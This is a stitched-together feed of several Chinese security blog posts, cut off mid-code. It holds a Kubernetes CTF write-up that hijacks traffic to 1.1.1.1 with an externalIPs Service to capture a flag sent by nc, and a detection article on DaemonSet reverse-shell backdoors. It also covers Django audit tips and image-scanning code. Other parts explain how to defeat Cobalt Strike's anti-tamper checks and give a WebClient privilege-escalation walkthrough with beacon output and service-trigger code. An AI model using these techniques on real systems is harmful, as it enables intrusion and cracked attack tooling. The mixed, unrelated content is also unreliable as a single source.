37C3 Potluck CTF Hungry Helmsman writeup

Welcome, chefs of the Kubernetes kitchen! The hungry Helmsman is on the lookout for a unique feast, and his palate is set on flags. Embark on the "Hungry Helmsman" challenge, where Kubernetes prowess meets culinary finesse. Craft the ultimate deployment to reveal the flag!          
         
Author:          
p4ck3t0, diff-fusion          
         
REMOTE INFO:          
nc challenge10.play.potluckctf.com 8888

本题难度并不是很高，如果你对相关概念比较了解的情况下很快就能做出来。在 professor 的指导下边学习边思考的过程也是比较有意思的。

环境信息  

我们先瞅瞅有什么 ns，然后记录一下方便后面查看资源的时候复制粘贴。很明显 flag-reciever 和flag-sender 是我们比较关注的。

➤ kubectl --kubeconfig kubeconfig get nsNAME              STATUS   AGEdefault           Active   3m19sflag-reciever     Active   3m15sflag-sender       Active   3m15skube-node-lease   Active   3m19skube-public       Active   3m19skube-system       Active   3m19s

先简单看看 RBAC，default 下面没啥特别的权限，就不贴全了。

➤ kubectl --kubeconfig kubeconfig auth can-i --listResources                                       Non-Resource URLs                      Resource Names   Verbsselfsubjectreviews.authentication.k8s.io        []                                     []               [create]selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]bindings                                        []                                     ....

主要的权限在 flag-reciever ns 下面，sender 也是没啥权限。

➤ kubectl --kubeconfig kubeconfig auth can-i --list -n flag-recieverResources                                       Non-Resource URLs                      Resource Names   Verbspods.*                                          []                                     []               [create delete]services.*                                      []                                     []               [create delete]selfsubjectreviews.authentication.k8s.io        []                                     []               [create]selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]bindings                                        []                                     []               [get list watch]configmaps                                      []                                     []               [get list watch]......

我们主要到多了两个比较重要的权限。

● pods.*  [create delete]

● services.* [create delete]

有一个显眼的pod flag-sender-676776d678-gvqdz 。

➤ kubectl --kubeconfig kubeconfig get pods -ANAMESPACE     NAME                                                                                READY   STATUS    RESTARTS   AGEflag-sender   flag-sender-676776d678-gvqdz                                                        1/1     Running   0          6m43skube-system   calico-kube-controllers-7ddc4f45bc-n78vl                                            1/1     Running   0          6m43skube-system   calico-node-fw7mb                                                                   1/1     Running   0          6m36skube-system   calico-node-tzbxq                                                                   1/1     Running   0          6m43skube-system   coredns-5dd5756b68-dx9c7                                                            1/1     Running   0          6m43skube-system   coredns-5dd5756b68-kn6kj                                                            1/1     Running   0          6m43skube-system   etcd-flux-cluster-7555ba3d6a2a4a0bad267e0b9c33c8c2-lhbwj-s6v2f                      1/1     Running   0          6m50skube-system   kube-apiserver-flux-cluster-7555ba3d6a2a4a0bad267e0b9c33c8c2-lhbwj-s6v2f            1/1     Running   0          6m50skube-system   kube-controller-manager-flux-cluster-7555ba3d6a2a4a0bad267e0b9c33c8c2-lhbwj-s6v2f   1/1     Running   0          6m50skube-system   kube-proxy-4pzbm                                                                    1/1     Running   0          6m36skube-system   kube-proxy-zzn52                                                                    1/1     Running   0          6m43skube-system   kube-scheduler-flux-cluster-7555ba3d6a2a4a0bad267e0b9c33c8c2-lhbwj-s6v2f            1/1     Running   0          6m50s

仔细看一下

➤ kubectl --kubeconfig kubeconfig -n flag-sender get pod flag-sender-676776d678-gvqdz -o yaml          
         
apiVersion: v1          
kind: Pod          
metadata:          
  annotations:          
    cni.projectcalico.org/containerID: b2b1974a943dfd0543fb0324afe2f68636c816fba86ae3231c01f6ff8c57f825          
    cni.projectcalico.org/podIP: 192.168.11.129/32          
    cni.projectcalico.org/podIPs: 192.168.11.129/32          
  creationTimestamp: "2023-12-30T04:39:44Z"          
  generateName: flag-sender-676776d678-          
  labels:          
    app: flag-sender          
    pod-template-hash: 676776d678          
  name: flag-sender-676776d678-gvqdz          
  namespace: flag-sender          
  ownerReferences:          
  - apiVersion: apps/v1          
    blockOwnerDeletion: true          
    controller: true          
    kind: ReplicaSet          
    name: flag-sender-676776d678          
    uid: 293678f8-6b9d-4768-bece-da16ce3925ac          
  resourceVersion: "695"          
  uid: d3805db6-1ebb-4339-9cb3-9f27cec0c7b7          
spec:          
  containers:          
  - args:          
    - -c          
    - while true; do echo $FLAG | nc 1.1.1.1 80 || continue; echo 'Flag Send'; sleep          
      10; done          
    command:          
    - sh          
    env:          
    - name: FLAG          
      valueFrom:          
        secretKeyRef:          
          key: flag          
          name: flag          
    image: busybox          
    imagePullPolicy: IfNotPresent          
    name: container          
    resources: {}          
    terminationMessagePath: /dev/termination-log          
    terminationMessagePolicy: File          
    volumeMounts:          
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount          
      name: kube-api-access-r7pkx          
      readOnly: true          
  dnsPolicy: ClusterFirst          
  enableServiceLinks: true          
  nodeName: flux-cluster-7555ba3d6a2a4a0bad267e0b9c33c8c2-md-0-zrxl6-t7fdk7          
  preemptionPolicy: PreemptLowerPriority          
  priority: 0          
  restartPolicy: Always          
  schedulerName: default-scheduler          
  securityContext: {}          
  serviceAccount: default          
  serviceAccountName: default          
  terminationGracePeriodSeconds: 30          
  tolerations:          
  - effect: NoExecute          
    key: node.kubernetes.io/not-ready          
    operator: Exists          
    tolerationSeconds: 300          
  - effect: NoExecute          
    key: node.kubernetes.io/unreachable          
    operator: Exists          
    tolerationSeconds: 300          
  volumes:          
  - name: kube-api-access-r7pkx          
    projected:          
      defaultMode: 420          
      sources:          
      - serviceAccountToken:          
          expirationSeconds: 3607          
          path: token          
      - configMap:          
          items:          
          - key: ca.crt          
            path: ca.crt          
          name: kube-root-ca.crt          
      - downwardAPI:          
          items:          
          - fieldRef:          
              apiVersion: v1          
              fieldPath: metadata.namespace          
            path: namespace          
status:          
  conditions:          
  - lastProbeTime: null          
    lastTransitionTime: "2023-12-30T04:39:56Z"          
    status: "True"          
    type: Initialized          
  - lastProbeTime: null          
    lastTransitionTime: "2023-12-30T04:40:10Z"          
    status: "True"          
    type: Ready          
  - lastProbeTime: null          
    lastTransitionTime: "2023-12-30T04:40:10Z"          
    status: "True"          
    type: ContainersReady          
  - lastProbeTime: null          
    lastTransitionTime: "2023-12-30T04:39:56Z"          
    status: "True"          
    type: PodScheduled          
  containerStatuses:          
  - containerID: containerd://71beab835e77a195155d78ab1bc20d379b175f1a133797e06ac5fbbdb6799783          
    image: docker.io/library/busybox:latest          
    imageID: docker.io/library/busybox@sha256:ba76950ac9eaa407512c9d859cea48114eeff8a6f12ebaa5d32ce79d4a017dd8          
    lastState: {}          
    name: container          
    ready: true          
    restartCount: 0          
    started: true          
    state:          
      running:          
        startedAt: "2023-12-30T04:40:09Z"          
  hostIP: 172.18.0.60          
  phase: Running          
  podIP: 192.168.11.129          
  podIPs:          
  - ip: 192.168.11.129          
  qosClass: BestEffort          
  startTime: "2023-12-30T04:39:56Z"           

我们只要看一下 busybox 执行了什么

containers:          
  - args:          
    - -c          
    - while true; do echo $FLAG | nc 1.1.1.1 80 || continue; echo 'Flag Send'; sleep          
      10; done          
    command:          
    - sh          
    env:          
    - name: FLAG          
      valueFrom:          
        secretKeyRef:          
          key: flag          
          name: flag

很简单，他echo了 env 中的 FLAG，从secrets 资源里面获取。并且通过管道传递给了 1.1.1.1 80 端口。

➤ kubectl --kubeconfig kubeconfig -n flag-sender logs flag-sender-676776d678-gvqdzHTTP/1.1 400 Bad RequestServer: cloudflareContent-Type: text/htmlContent-Length: 155Connection: closeCF-RAY: -
<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>Flag Send
.....

目的

那么目前题目传递的意思已经比较明确了，我们需要想办法截获发往 1.1.1.1 80 端口的 flag。但很明显这不是让你把 1.1.1.1 给*了。

简单的尝试

➤ kubectl --kubeconfig kubeconfig -n flag-sender exec -it flag-sender-676776d678-gvqdz -- env
Error from server (Forbidden): pods "flag-sender-676776d678-gvqdz" is forbidden: User "system:serviceaccount:default:ctf-player" cannot create resource "pods/exec" in API group "" in the namespace "flag-sender"

分析一下：

• 目前手上的权限不足以操控这个 flag-sender-676776d678-gvqdz

• 没有操作Node 的权限

• 能创建的资源有限

那么还得从题目给定的资源入手，所以我们需要把目光转向 service，但没有特定的 service 给我们。

➤ kubectl --kubeconfig kubeconfig   get svc -ANAMESPACE     NAME         TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)                  AGEdefault       kubernetes   ClusterIP   10.128.0.1    <none>        443/TCP                  23mkube-system   kube-dns     ClusterIP   10.128.0.10   <none>        53/UDP,53/TCP,9153/TCP   23m

并且flag-reciever ns 下也设置了networkpolicy, 限定了 ns 为 flag-sender和 有 label 为app: flag-sender的入方向ingress。

➤ kubectl --kubeconfig kubeconfig -n flag-reciever get networkpolicies flag-reciever -o yaml          
apiVersion: networking.k8s.io/v1          
kind: NetworkPolicy          
metadata:          
  creationTimestamp: "2023-12-30T04:39:32Z"          
  generation: 1          
  name: flag-reciever          
  namespace: flag-reciever          
  resourceVersion: "223"          
  uid: b8ca8419-29c5-4dad-829a-7fadb85a6f12          
spec:          
  ingress:          
  - from:          
    - namespaceSelector:          
        matchLabels:          
          ns: flag-sender          
      podSelector:          
        matchLabels:          
          app: flag-sender          
  podSelector: {}          
  policyTypes:          
  - Ingress          
  - Egress  

第一个想法 - ClusterIP   

我们先创建一个 busybox pod，然后监听个端口，然后创建service通过 ClusterIP 直接设定固定IP 来操作。想法不错，但这里面其实存在一个坑点。

随便创建一个 pod 先试试。

➤ kubectl --kubeconfig kubeconfig -n flag-reciever run nginx --image=nginx          
         
Error from server (Forbidden): pods "nginx" is forbidden: violates PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "nginx" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "nginx" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "nginx" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "nginx" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") 

一大堆报错，简单来说就是需要设置securityContext 和 cap 的限制，包括 runasuser。这种情况非常常见，在实战中不少大规模集群也会有这种securityContext和 resources limits 的限制，想起之前的一次持久化自动化创建 pod，就需要考虑到这一点。

使用 dry-run 先来个 template，然后根据题目的报错要求进一步修改，最后的完整 yaml 如下。

busybox-exp.yaml

apiVersion: v1          
kind: Pod          
metadata:          
  creationTimestamp: null          
  labels:          
    run: busyboxtest          
  name: busyboxtest          
  namespace: flag-reciever          
spec:          
  securityContext:          
    runAsNonRoot: true          
    runAsUser: 1000          
    seccompProfile:          
      type: RuntimeDefault          
  containers:          
  - image: busybox          
    name: busyboxtest          
    args: [/bin/sh, -c, 'nc -lp 8080']          
    ports:          
      - containerPort: 8080          
        name: http-web-svc          
    securityContext:          
        allowPrivilegeEscalation: false          
        capabilities:          
          drop:          
            - ALL          
    resources:          
        limits:          
          cpu: "100m"          
          memory: "0Mi"          
        requests:          
          cpu: "100m"          
          memory: "0Mi"          
  dnsPolicy: ClusterFirst          
  restartPolicy: Always          
status: {}

service.yaml

apiVersion: v1          
kind: Service          
metadata:          
  name: my-custom-service          
spec:          
  type: ClusterIP          
  clusterIP: 1.1.1.1           
  ports:          
    - port: 80          
      targetPort: 8080          
  selector:          
    run: busyboxtest

➤ kubectl --kubeconfig kubeconfig -n flag-reciever apply -f service-test.yaml          
         
The Service "my-custom-service" is invalid: spec.clusterIPs: Invalid value: []string{"1.1.1.1"}: failed to allocate IP 1.1.1.1: the provided IP (1.1.1.1) is not in the valid range. The range of valid IPs is 10.128.0.0/12          

很好，问题出现，不在合法范围的 ip。

| the provided IP (1.1.1.1) is not in the valid range. The range of valid IPs is 10.128.0.0/12

externalIPs  

既然 clusterip 不行那么这个时候就得去查资料了，explain 大法不能忘记。我感觉这应该比直接看官方来的更快，因为可以直接告诉我可用选项有哪些。

externalIPs is a list of IP addresses for which nodes in the cluster will          
    also accept traffic for this service.  These IPs are not managed by          
    Kubernetes.  The user is responsible for ensuring that traffic arrives at a          
    node with this IP.  A common example is external load-balancers that are not          
    part of the Kubernetes system.

很好，externalIPs 目测是满足要求的。

1.clusterIP:

• 这是 Service 的内部集群 IP,只能在集群内部访问

• 由 Kubernetes 自动在内部 IP 池中分配

• 可以通过代理、重定向访问后端 Pod

2.externalIPs:

• 这是 Service 暴露出来提供外部访问的 IP 列表

• 需要是可路由的实际 IP 地址

• 可以从集群外直接访问这个 IP,到达 Service

• 如果type 为Loadbalancer，在有 LB插件的情况下，也能获取到ExternalIP，否则不会由 Kubernetes 自动分配,需要手动指定

• 可以允许同一个 Service 通过内外部 IP 访问

我们知道 k8s网络中默认情况下，基本是靠 iptables 规则和 kube-proxy操作的。如果从 Pod 内，流量的走向来看应该是。

| Pod -> iptables NAT 规则 -> kube-proxy 的负载均衡 -> Backend Pod

本地看看，我们创建 service clusterip 的时候 会创建对应iptables 规则，我们看到创建 externalIP 也一样创建了类似的 iptables。

那就直接试试。

apiVersion: v1          
kind: Service          
metadata:          
  name: my-custom-service          
  namespace: flag-reciever          
spec:          
  externalIPs:          
  - 1.1.1.1          
  ports:          
    - port: 80          
      targetPort: 8080          
  selector:          
    run: busyboxtest

➤ kubectl --kubeconfig kubeconfig apply -f service-test.yamlservice/my-custom-service created

挺好，成功创建，IP 也没啥问题。

➤ kubectl --kubeconfig kubeconfig get svc -ANAMESPACE       NAME                TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGEdefault         kubernetes          ClusterIP   10.128.0.1     <none>        443/TCP                  42mflag-reciever   my-custom-service   ClusterIP   10.137.18.10   1.1.1.1       8080/TCP                 21skube-system     kube-dns            ClusterIP   10.128.0.10    <none>        53/UDP,53/TCP,9153/TCP   42m

成功 Getflag。

➤ kubectl --kubeconfig kubeconfig logs busyboxtest -n flag-recieverpotluck{****}

阅读原文

跳转微信打开

在云原生高速发展的今天，针对云环境的攻击方法也层出不穷。本文讲述了vesta对云原生后门检测的理念和实践。D

在云原生高速发展的今天，针对云环境的攻击方法也层出不穷。本文讲述了vesta对云原生后门检测的理念和实践。

DaemonSet

Daemonset因为其特点能够在所有node节点上部署一个pod，因此成为了最受欢迎的后门入口。对Pod设置后门也有如下的几种方法:

• Pod command和arg直接反弹shell
  此类型将反弹shell写入pod的command从而达到对每一个node进行持久化控制，具体内容可以参考CDK的backdoor内容，链接如下

https://github.com/cdk-team/CDK/blob/3c6b0c1648b25b98067dd308eebcb2a3afb9e95e/pkg/exploit/k8s_backdoor_daemonset.go

因此，改持久化方法对pod的command和arg的内容进行输入检查即可。

• 从其他资源引入反弹代码到Pod中运行
  此类型持久化中比较典型的外部资源一个是Secret，Secret拥有其天然特性Base64编码使得运维人员不能在第一时间看出端倪，但是又能够在Pod内部被ValueFrom调用的时候进行自动解码。亦或者从自制的恶意镜像上拉取进行持久化。

• Sidecar
  考虑到上述几个方案都有痕迹的产生，因此可以考虑k8s自带的kube-proxy，自带的privileged也是满足大多数的渗透要求。可以参考k0otkit脚本以及相关的文章，链接如下

https://github.com/Metarget/k0otkit

检测

在后门检测中，首先需要对各种权限和安全配置进行检测，因为持久化是后门的本质，攻击者需要长期控制宿主机。因此，需要检测特权权限、必要的capabilities以及相关的挂载。其次，需要检测与 Pod 相关的附加命令，因为现在有许多反向代理的命令和各种绕过的 shell，每次都精确检测都是不现实的。因此，采用对特殊符号和关键字的检查，并将其与字符串总数相除得到一个比率值，然后与相应的阈值进行比较，最后生成报告。

后门相关检测有：

• Secret以及ConfigMap的内容以及解码，判断反代命令的同时也要判断是否是可执行文件

• DaemonSet相关镜像的识别

• Pod的权限以及相关配置检测，例如Privileged, volumeMounts, command, args, RBAC等

在完成上述检查的开发之后，又发现了另外一个问题。要对DaemonSet进行扫描必然扫描Kubernetes内部关键的namespaces，而这些namespaces又有相当一部分的DaemonSet以及DaemonSet启动的Pod会有特别高的权限，如果加上后期各种监控框架，那么检测出来的结果就会特别繁杂，导致运维人员每次会处理大量无关的安全事件，这是非常消耗时间的。

以一个简单的OpenShift架构以及11个node节点为例子，下列扫描出来的结果都是冗余的

并且正常的kube-system命名空间中的kube-proxy也会因为priveleged权限出现在运维人员眼中，出现次数一旦多就会导致对该pod关注度慢慢减少，以至于真正出现后门程序的时候会忽略该实例，导致错过最佳处置时间。

因此vesta对检测的Pod进行了剪枝。我们发现了如下几个参数

• age

• restarts

• certification

age分为node的age以及pod的age，而restarts则是容器重启的次数以及最近一次重启的时间，如图

通过age我们能够直接观察到最近一次修改的时间，通过讲DaemonSet对应的pod中最近修改时间与其他pod的时间进行对比。同时restarts的数值也能够帮助我们一个Pod的正常情况，例如如果一个restarts的次数相对于其他Pod的来说异常地高，可能的行为是反弹的shell所连接的IP并没有连通，导致Pod一直重启尝试连接目标IP，而相对于其他的Pod的平均次数过低的重启次数又能够判断该容器在最近被replace替换过。如下图就是一个非常典型的被加入后门的场景

而node的age则能够帮助我们获取该node被启动的最早时间，kubernetes安装的证书也同样能够帮助我们拿到K8s最早启动的时间。因此通过目标pod修改时间与node启动最早时间以及其他Pod的修改时间做综合的对比来判断是否跳过该Pod的扫描。

实现的代码如下

• 后门的检测逻辑: https://github.com/kvesta/vesta/commit/3443fe6e99e17cb40a63b94617a1828092bb4d64#diff-9d440e59ec5a1f856ab57efdf078acf0c0b35adaa036616afa957bec7c48e0b4

• Pod的优化扫描逻辑: https://github.com/kvesta/vesta/commit/efaec20c55a3f238516a8187448b91b58a5f822d#diff-e9451bda4fd61e18ef216377ead1083aea189c43f19c0f72c71f016b8f960576R644

至此为vesta对DaemonSet的扫描逻辑以及实现，项目地址为

https://github.com/kvesta/vesta

阅读原文

跳转微信打开

本文主要谈一谈如何发现Django官方没有披露的潜在漏洞以及高效查看潜在问题的代码块

Django作为一个Python高可用性，高安全性框架，披露出的安全漏洞也是少之又少，因此成为了Python开发者开发站点的不二之选。Django的代码审计也是相对于其他语言框架较为困难的一款，其中一个因素为Python没有返回和传入类型的检查，并且Django内置函数名重复地非常多，甚至连Pycharm都无法准确定位到具体函数当中，代码审计也变得异常艰难。除去Django官方网站披露的CVE漏洞之外，本文主要谈一谈如何发现Django官方没有披露的潜在漏洞以及高效查看潜在问题的代码块。

Django announce

Django官方有着与其他框架相同的版本预告通知，同时Django会提前预报未来发布漏洞更新的时间以及漏洞等级，因此我们可以根据漏洞发出时间第一时间进行漏洞分析和响应

https://groups.google.com/g/django-announce

Django Commit

遍历Django历史上评级为高的漏洞，不难发现基本上全都是SQL注入的漏洞，例如CVE-2022-34265, CVE-2022-28346, CVE-2021-35042, CVE-2020-9402等。Django对参数过滤是非常严格的，但是正是因为严格化导致部分参数因为过滤无法正常运行。因此，为了保证功能有效运行，就不得不去除对该参数的过滤，这也为Django埋下了隐患。因此对关注Django commit中关于SQL操作的代码进行审计并查看参数是否被函数封装往往能有意想不到的效果。

从笔者之前分析的CVE-2021-35042，具体内容可以查看文章 https://xz.aliyun.com/t/9834。其漏洞代码最早可以追述到3年前的issue，对函数add_ordering的传参内容过滤忽略RawSQL函数中col参数的过滤了导致的SQL注入，commit的链接为 https://github.com/django/django/pull/12669/files。以及CVE-2020-9402等等也都是忽略了对某template参数的过滤导致的漏洞的产生，具体分析文章链接为https://xz.aliyun.com/t/7403。查看对数据库操作的test测试样例也是一种不错的方法。

Django ticket

Django ticket是Django官方用来追踪问题所用的平台，同时也是很多开发者报告问题的平台。因此这里也有一些开发者报告的BUG而官方认为是漏洞，以及一些安全研究者上报的漏洞被官方认为是feature，因此发布在ticket里面。在这些对安全的讨论中，都出现了如下关键词"security team"，"security issue"以及"security@..."，因此我们可以使用Google搜索语法对这些讨论帖子做搜索

intext:"security" inurl:"code.djangoproject.com/ticket/"
intext:"security issue"|"security issues" inurl:"code.djangoproject.com/ticket/"

例如

上述ticket报告了Django使用dbshell的时候报错会带出数据库的密码等敏感信息，但是Django安全团队认为这不算是一个安全问题，但是研究者也给出了应用场景：在使用Elastic、Graylog等组件的时候，有时候不能对--password进行混淆，因此会导致敏感信息泄漏。

同时也能看到开发者并不认为是安全问题的组件最终被定义为安全问题，例如CVE-2020-24583文件权限。起初该问题只是被开发者认为是一个bug，但最终被Django 安全团队定义为漏洞

完整ticket连接如下

https://code.djangoproject.com/ticket/31921

其实浏览Django tickets讨论的feature也有着意想不到的收获

阅读原文

跳转微信打开

本文主要为clair，trivy与vesta对layer整合和整合后文件扫描分析

0X00 前言

在编写vesta期间对比发现trivy的镜像扫描速度非常快，因此本文主要为clair，trivy与vesta对layer整合和整合后文件扫描分析。关于Docker Layer的原理本文不再赘述，其流程都可以简化为

解压镜像tar文件 -> 解析manifest.json文件 -> 依次对每一个layer进行处理

0X01 Clair

Clair作为一个老牌镜像扫描器，其出现也开辟了容器镜像扫描的道路。clair的核心引擎在claircore中，其在2022年7月9号采用了新的fetch Layer的方式，并且在2022年7月23号后删除了老旧的命令，具体可以参考commit，首先看看在这之前clair是如何解压分析layer的，大致流程如下

可以看到最开始由/cmd/cctool/unpack.go对tar文件的所有layer解压，之后通过./layer.go文件中Files函数对每一个解压的文件进行内容查找。即每一层对File传入想要查找的文件内容，之后将查找到的文件内容以map[string]*bytes.Buffer的形式返回，具体的代码如下

f := make(map[string]*bytes.Buffer)// Walk the fs. ReadFile will handle symlink resolution.if err := fs.WalkDir(sys, ".", func(p string, d fs.DirEntry, err error) error {  switch {  case err != nil:    return err  case d.IsDir():    return nil  }  if _, ok := want[p]; !ok {    return nil  }  delete(want, p)  b, err := fs.ReadFile(sys, p)  if err != nil {    return err  }  f[p] = bytes.NewBuffer(b)  return nil}); err != nil {  return nil, err}
// If there's nothing in the "f" map, we didn't find anything.if len(f) == 0 {  return nil, ErrNotFound}return f, nil

可以看到，该方法有比较大的延迟性，查找一个文件需要每一个layer都扫描一遍，并且为了保证文件的有效性，即使当前layer存在指定文件，也需要继续完成所有layer文件的扫描。在新方法上面，主要增加了indexer文件夹，Layer的文件也从/indexer/controller/fetchlayers.go中的fetchLayers函数中获得，也从/indexer/controller/reduce.go的reduce函数扫描

// reduce determines which layers should be fetched/scanned and returns these layersfunc reduce(ctx context.Context, store indexer.Store, scnrs indexer.VersionedScanners, layers []*claircore.Layer) ([]*claircore.Layer, error) {  do := []*claircore.Layer{}  for _, l := range layers {    for _, scnr := range scnrs {      ok, err := store.LayerScanned(ctx, l.Hash, scnr)      if err != nil {        zlog.Debug(ctx).          Stringer("layer", l.Hash).          Err(err).          Msg("unable to lookup layer")        return nil, err      }      if !ok {        do = append(do, l)        break      }    }  }  return do, nil}

同时也将layer处理成仿真的文件系统，利用fs.WalkDir进行文件的分析，但是每一个组件都进行了完整的文件系统扫描，导致了多次冗余的遍历，下图为WalkDir的搜索结果

0x02 Trivy

trivy作为一个新兴容器扫描器，其易用性和高性能成为了容器扫描工具的一款精品，用镜像ID作为输入参数例子，trivy的分析流程如下

trivy使用了github.com/google/go-containerregistry/pkg/v1对layer进行提取，在Walk函数自定了函数对文件的类型进行分类。值得注意的是trivy对cache的使用次数非常多，每一个layer的分析以及单次镜像扫描使用了cache，在一个镜像扫描结束的时候tricy会将该次扫描的layer数据存入fanal的fanal.db中，可以从文件/pkg/fanal/applier/applier.go中的ApplyLayers函数看出。

func (a Applier) ApplyLayers(imageID string, layerKeys []string) (types.ArtifactDetail, error) {  var mergedKey string  // Try to restore the merged layer if the feature is enabled    if a.cacheMergedLayer {    var err error    mergedKey, err = calcMergedKey(layerKeys)    if err != nil {      return types.ArtifactDetail{}, xerrors.Errorf("failed to calculate a merged key: %w", err)    }    if b, err := a.cache.GetBlob(mergedKey); err == nil {      return b.ToArtifactDetail(), nil    }  }  var layers []types.BlobInfo  for _, key := range layerKeys {        // 查看每一个layer是否含有缓存    blob, _ := a.cache.GetBlob(key) // nolint    if blob.SchemaVersion == 0 {      return types.ArtifactDetail{}, xerrors.Errorf("layer cache missing: %s", key)    }    layers = append(layers, blob)  }
  mergedLayer := ApplyLayers(layers)  if mergedLayer.OS == nil {    return mergedLayer, analyzer.ErrUnknownOS // send back package and apps info regardless  } else if mergedLayer.Packages == nil {    return mergedLayer, analyzer.ErrNoPkgsDetected // send back package and apps info regardless  }    // 查看镜像是否被缓存  imageInfo, _ := a.cache.GetArtifact(imageID) // nolint  mergedLayer.HistoryPackages = imageInfo.HistoryPackages
  // Store the merged layer if the feature is enabled  if a.cacheMergedLayer {    if err := a.cache.PutBlob(mergedKey, mergedLayer.ToBlobInfo()); err != nil {      log.Logger.Error("Unable to cache the merged layer: %s", err)    }  }
  return mergedLayer, nil

这使得trivy下一次再扫描相似的镜像或者对应镜像中包含相同layer的hash值的情况下速度会特别快。可以看到trivy在/pkg/commands/artifact/run.go中的scan函数跟进去之后对于layer的整理做了许多关于Blob的操作，这也是trivy在镜像扫描中速度占有极大优势的原因之一。

0X03 Vesta

在编写Vesta的过程中，其对镜像中的分层解析与以上两个成熟的扫描器基本相同，同样以镜像ID作为输入参数为例，vesta的解析流程如下

通过Docker cli拿到存储镜像的文件句柄 -> 将文件句柄解压到临时文件夹中 -> 将每一层的layer统一解压到制定的文件夹中 -> 分析供应链组建信息 -> 删除文件夹

在对每一个Layer解压的过程中忽略对文件大小超过1GB的文件的判断，从而避免因为容器为机器学习训练容器而导致的对超大训练文件的解压，但是此处依旧无法操作Docker Cli进行dump的过程中忽略这些文件，因此后续有待改进，vesta的文件layer解压非常简单

// Walk ignore the file which is vert largefunc Walk(tarReader *tar.Reader, path string) error {  for hdr, err := tarReader.Next(); err != io.EOF; hdr, err = tarReader.Next() {    if err != nil {      return err    }
    extractFile := filepath.Join(path, hdr.Name)
    // ignore the file larger than 1GB    if hdr.Size > 1073741824 {      continue    }
    switch hdr.Typeflag {    case tar.TypeDir:      if !exists(extractFile) {        if err := os.MkdirAll(extractFile, 0775); err != nil {          return err        }      }    case tar.TypeReg:      file, err := os.OpenFile(extractFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))      if err != nil {        continue      }      _, err = io.Copy(file, tarReader)      if err != nil {        log.Printf("file %s can not extract: %v", hdr.Name, err)      }    default:      // ignore    }  }  return nil}

为什么vesta的解压要落地成文件，而trivy, claircore不落地？

• vesta镜像分析增加了对container和image两个文件类型的适配，而一个运行的容器dump出来的tar文件就是一个完整的系统文件，并没有layer文件。同时后期考虑qcow2，img等文件格式的处理，此处统一输出成文件从而方便后续调用。

• 后期vesta也考虑增加文件内容合规检查，例如MySQL的密码配置文件，是否存在某些恶意文件等，短时间多次进行文件查找，因此转换成文件使用Linux文件树

• 目前还在对比缓存使用与内存占用量

此外，读者同时也能发现，三个layer整合方法都不约而同地利用了fs.WalkDir进行文件的查找，笔者认为，利用Linux的成熟的文件树查找算法要比单纯的进行tar压缩包文件查找效率要高很多，这也是vesta落地文件的原因之一。

项目地址: https://github.com/kvesta/vesta

阅读原文

跳转微信打开

4.5 发布已经有相当一段时间了，前不久刚拿到jar。听说暗桩的东西很多，看了一下对比之前的版本确实是这样的

4.5 发布已经有相当一段时间了，前不久刚拿到jar。闲时看了一下，对比之前的版本而言，暗桩增加了不少。

大概就两个点：

1.一个是Beacon内部几个函数的校验应该和watermark的计算有关系，没细看，从redcore那里看了一下修改方法也是patch一下opcde。

2.第二个就是大面积的对javaagent的判断然后 System.exit()，或者返回一个bool值给后续逻辑进行判断。

其实通过agent来patch是最简单的，我使用的方法比较暴力直接，把sun/management/VMManagementImpl.getVmArguments 拿vm启动参数这个函数直接返回必要的参数，那些agent之类的参数也不会被CS拿到，且也不影响我们正常使用。

增加的代码也不过10行左右。

0xagent: https://github.com/Like0x/0xagent

Other

再聊聊前几天老外发的一个SharpWSUS，WSUS利用之前我和龙哥在项目中实战踩坑过。

整体来说没有太大利用难度，唯一需要注意的坑点是在下发过程中请设置一下deadline，否则可能等到项目结束都还没安装好，原本之前想发一下文章记录一下的，也没时间写了。

阅读原文

跳转微信打开

炒一下冷饭：Elevate Privileges via WebClient in Domain Computer

炒一下冷饭，本文指的是在符合条件的域机器上进行LPE。

那么我们利用的就是大家所熟知的 WebClient，关于WebClient的利用很多情况会结合relay进行一些攻击活动或用来进行权限提升。

比如我们熟知的 WebClient + Relay + RBCD Attack Chain 的方法（扫一下还是有不少情况下能扫到的），这里说的是利用 WebClient 进行 提权，还是@龙崽教的好。其实说的也是差不多的一个东西。这两天刚好在实战中用到了，就算自己记录一下。

场景：

• 一台已控制域机器（存在WebClient服务）

• 普通域用户权限

该方法进行权限提升的条件既是WebClient服务必须是运行状态。默认情况下 Windows Server 系的操作系统是没有默认安装WebClient的（实战中也碰到不少由管理员手动安装好的）。那么Windows Client系的操作系统默认是安装好了，但是并没有被启用。

beacon> sc_query webclient
[*] Running sc_query
[+] host called home, sent: 5074 bytes
[+] received output:
SERVICE_NAME: webclient
	TYPE                 : 32 WIN32_SHARED
	STATE                : 1 STOPPED
	WIN32_EXIT_CODE      : 1077
	SERVICE_EXIT_CODE    : 0
	CHECKPOINT           : 0
	WAIT_HINT            : 0
	PID                  : 0
	Flags                : 0

Start WebClient

常规的 sc 开启会提示权限拒绝

因为WebClient 使用了 Service Trigger 的方式注册，所以我们可以用ETW触发 WebClient 事件，以普通用户开启此服务。

早在15年该方法就已经被提出 

https://www.tiraniddo.dev/2015/03/starting-webclient-service.html

当然还有更多的服务可以使用此方法触发开启。

bool StartWebClientService(){    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =        { 0x22B6D684, 0xFA63, 0x4578,         { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };    REGHANDLE Handle;    bool success = false;
    if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,        nullptr, nullptr, &Handle) == ERROR_SUCCESS)    {        EVENT_DESCRIPTOR desc;
        EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);
